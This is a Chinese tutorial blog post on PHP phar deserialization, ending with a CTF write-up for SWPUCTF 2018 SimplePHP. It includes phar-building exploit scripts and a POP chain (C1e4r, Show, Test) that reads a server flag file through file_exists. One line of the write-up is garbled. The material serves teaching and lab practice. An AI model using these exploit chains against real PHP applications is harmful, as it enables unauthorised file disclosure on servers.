当前位置:网站首页>phar反序列化
phar反序列化
2022-08-08 16:10:00 【Msaerati】
Phar反序列化
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。(漏洞利用点)
什么是phar文件
在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
漏洞利用条件
phar可以上传到服务器端(存在文件上传) 要有可用的魔术方法作为“跳板”。 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
实例1
<?php
class Test {
public $num = 2;
public function __destruct() {
if ($this->num ===1 ) {
echo 'flag{123}';
}
}
}
unserialize($_GET['data']);
exp
<?php
class Test {
public $num = 1;
}
$a = new Test()
echo serialize($a);
?>
phar
<?php
/*文件名*/
$phar = new Phar ( "a.phar" );//文件名
$phar->startBuffering ();
/*设置stub,必须以_HALT_COMPILER(); ?>结尾*/
$phar->setStub ( "<?php _HALT_COMPILER();?>");
/*添加要压缩的文件*/
$phar->addFromString ( "test1.txt", "test1" );
$phar->addFromString ( "test2.txt", "test2");
$phar->stopBuffering ();
?>
实例2
<?php
class Test {
public $num = 2;
public function __destruct() {
if ($this->num ===1 ) {
echo 'flag{123}';
}
}
}
// unserialize($_GET['data']);
echo file_get_contents('phar://a.phar/test2.txt');
?>
exp
<?php
class Test {
public $num = 1;
}
$test = new Test;
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetaData($test);
$phar->addFromString ( "test1.txt", "test1");
$phar->addFromstring ( "test2.txt", "test2");
$phar->stopBuffering ();
?>
魔法函数
__get 获取类中的一个不可访问属性或者是不存在的属性会调用此方法 __toString 将一个实例化对象当做一个字符串来使用时,会自动调用该方法 __destruct 对象销毁触发 __construct 创建对象触发
SWPUCTF 2018]SimplePHP
思路:我们首先生成一个phar文件,其中meta值里面是对class.php的序列化值,然后上传,获取文件的路径和文件名。然后,通过file参数访问该文件,file参数会经过file_exists(),直接触发phar进行反序列化,触发漏洞。
构造class.php的pop链。
我们可以得到利用链:C1e4r::__destruct()的
echo $this->test;
中的t h i s − > t e s t 被 当 作 字 符 串 , 此 时 当 this->test被当作字符串,此时当this−>test被当作字符串,此时当this->test=Show类时,调用Show::__toString()函数。设置
$this->str['str']=Test类
因此
$this->str['str']->source=Test类->source
此时Test类调用不存在的属性source,此时就会调用Test::__get函数并执行
$this->get(source)
接着到Test::get函数里面执行
$value = $this->params["source"];
设置
$this->params["source"]="/var/www/html/f1ag.php"
然后执行
$this->file_get("/var/www/html/f1ag.php")
最后返回
base64_encode(file_get_contents("/var/www/html/f1ag.php"));
解码就可以得到flag了。
pop
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象,将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名,添加要压缩的文件
$phar->stopBuffering();
?>
边栏推荐
- leetcode/delete the nth node from the bottom of the linked list
- [Unity entry plan] Use the double blood bar method to control the blood loss speed of the damage area
- 有了这个开源工具后,我五点就下班了!
- 2020年适用于Linux的10个顶级开源缓存工具
- 科创人·优锘科技COO孙岗:错误问题找不到正确答案,求索万物可视的大美未来
- Introduction to Power BI
- 谈谈怎么可以得到显著性图 特征图 featuremap
- 力扣207,课程表
- 使用 PyGame 的冒泡排序可视化工具
- egg(二十):fs读取本地的txt文件
猜你喜欢
随机推荐
The situation of the solution of the equation system and the correlation transformation of the vector group
Jingdong T9 pure hand type 688 pages of god notes, SSM framework integrates Redis to build efficient Internet applications
Kubernetes-Basics-Common Commands
带你玩转“超大杯”ECS特性及实验踩坑【华为云至简致远】
Thoroughly understand the volatile keyword and application scenarios, and it is a must for interviews, and Xiaobai can understand it!
bzoj3262 陌上花开
All volunteers V853 chip Tina RTSP environment set up
leetcode/删除链表的倒数第n个结点
《流浪方舟》首发重现,点我试玩
通过jenkins交付微服务到kubernetes
我分析30w条数据后发现,西安新房公摊最低的竟是这里?
返回分页查询分类并统计多对多关系表中各分类下的应用数量
sql合并连续时间段内,某字段相同的行。
PayPal无差别封号潮,被围剿的站群模式还能玩多久?如何避免shopify封店
在通达信开户安全不呢
bzoj3693 圆桌会议 hall定理+线段树
我分析30w条数据后发现,西安新房公摊最低的竟是这里?
Streamsets Data Collector 3.12
是时候展现真正实力了!揭秘2022华为开发者大赛背后的技术能力
Lecture 207, Class Schedule